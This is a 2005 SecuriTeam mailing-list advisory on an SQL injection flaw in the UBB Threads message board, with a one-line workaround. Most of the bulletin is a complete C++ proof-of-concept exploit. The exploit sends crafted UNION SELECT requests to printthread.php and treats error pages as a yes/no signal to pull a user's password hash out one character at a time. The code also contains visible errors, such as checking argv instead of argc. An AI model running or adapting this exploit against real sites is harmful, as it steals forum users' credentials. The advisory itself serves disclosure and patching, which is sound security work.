From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 21 Apr 2005 15:51:38 +0200
Subject: [UNIX] UBB Thread SQL Injection Vulnerability (main)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050421132603.5B74B57A7@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
UBB Thread SQL Injection Vulnerability (main)
------------------------------------------------------------------------
SUMMARY
<http://www.ubbcentral.com/> UBB Thread is "robust and flexible PHP
message board, with a MySQL database for power and scalability".
Due to insufficient checking of user provided input UBB Thread allows a
malicious user to insert arbitrary SQL statements into existing ones.
DETAILS
Workaround:
Add in the beginning of the PHP file(printthread.php) after the PHP-Code
tag (<?):
if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']);
Exploit:
The 'main' parameter is used twice, in two different queries and in two
different number of columns. The popular 'UNION SELECT' method will is not
applicable, because a correct response of the first query, makes the
second query invalid, and vice versa.
The catch is, that the second query execution is conditional to the
results of the first one. If no results are returned from the first query
the second query is not processed, thus, no SQL error will output
Therefore, as you see in the POC exploit below this vulnerability can
still be used to output from the first query not as a text/numbers but as
a "Are there any results" way. If the first query has 0 rows returned,
there will be no SQL error. If there is at least 1 row, then an SQL error
will be shown.
//HLLUBBThreadsExploit.cpp
/*
4. Exploitation
UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability
Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any
vaild forum name> <user id>
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php
UBB3 2
Vulnerability discovered by: Axl
Exploit Coded by HLL: hllhll <at> gmail.com
*/
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#pragma comment (lib,"ws2_32")
void usage(char *argv[])
{
cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by:
HLL" << endl;
cout << "[+] Usage:" << endl;
cout << "[+] " << argv[0] << " <hostname> <path to
printthread.php> <Any vaild forum name> <user name> " << endl;
cout << "[+] " << argv[0] << " www.host.com
/ubbthreads/printthread.php UBB3 HLL" << endl;
}
int main(int argc, char *argv[]){
WSADATA wsaData;
struct sockaddr_in saddr;
WSAStartup(MAKEWORD(1, 1), &wsaData);
struct hostent *h;
char hash[34]={0};
int rcvlen;
char ch;
int flag, pos;
int countwait;
SOCKET sock;
char req[400];
char buf[600];
char rcvbuf[10000];
char rcvtmpbuf[1024];
char *host=argv[1]; //Server
char *path=argv[2]; // Path to /ubbthreads/printthread.php
char *fname=argv[3]; //Forum name
int uid=atoi(argv[4]); //User id
if (argv!=5){
usage(argv);
return(0);
}
//Resolve address (will work also if this is an IP)
cout << "[+] Resolving host... ";
if (!(h=gethostbyname(host)))
{
cout << "FAILD!" << endl;
return(1);
}
cout << "Done." << endl;
saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
memset(saddr.sin_zero, 0, 8);
saddr.sin_port=htons(80);
saddr.sin_family=AF_INET;
cout << "[+] Exploiting target... " << endl;
for (pos=1; pos<=32; pos++)
{
for (ch='0'; ch<='F'; ch++)
{
if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1
)
{
cout << "FAILD CREATING SOCKET!" << endl;
return(1);
}
if (ch==':') ch='A'; //If finished all digits,
jump to hex digits
//Prepare reqest
sprintf(req, "%s?Board=%s&type=post&main=-99'
UNION SELECT B_Number,B_Posted FROM w3t_Posts,w3t_Users WHERE
((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32);
if (ch>='A' && ch<='Z')
sprintf(req, "%sOR
(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
sprintf(buf, "GET %s HTTP/1.0\r\nAccept: *
/*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98;
DigExt)\r\nHost: %s \r\n\r\n", req, host);
connect(sock, (struct sockaddr *)&saddr,
sizeof(struct sockaddr) );
send(sock, buf, strlen(buf), 0);
cout << "[+] Char: " << ch << endl;
//Loop untill disconnection or recognized string
flag=0;
countwait=0;
*rcvbuf=NULL;
while(!flag){
Sleep(30);
if ((rcvlen = recv(sock, rcvtmpbuf, 1023,
0))>0){
rcvtmpbuf[rcvlen]=NULL;
strcat(rcvbuf, rcvtmpbuf);
}
if ( (++countwait) == 30)
flag=2;
if ( strstr(rcvbuf, "SQL Error"))
flag=1;
}
if (flag==1){ //Char found
cout << "[+] Char " << ch << " In pos " <<
pos << endl;
hash[pos-1]=ch;
ch='G';
}
closesocket(sock);
}
}
hash[32]=NULL;
cout << endl << "The hash for user id" << uid << "is: " << hash <<
endl;
WSACleanup();
return (0);
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:hllhll@gmail.com.> Hillel
Himovich .
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.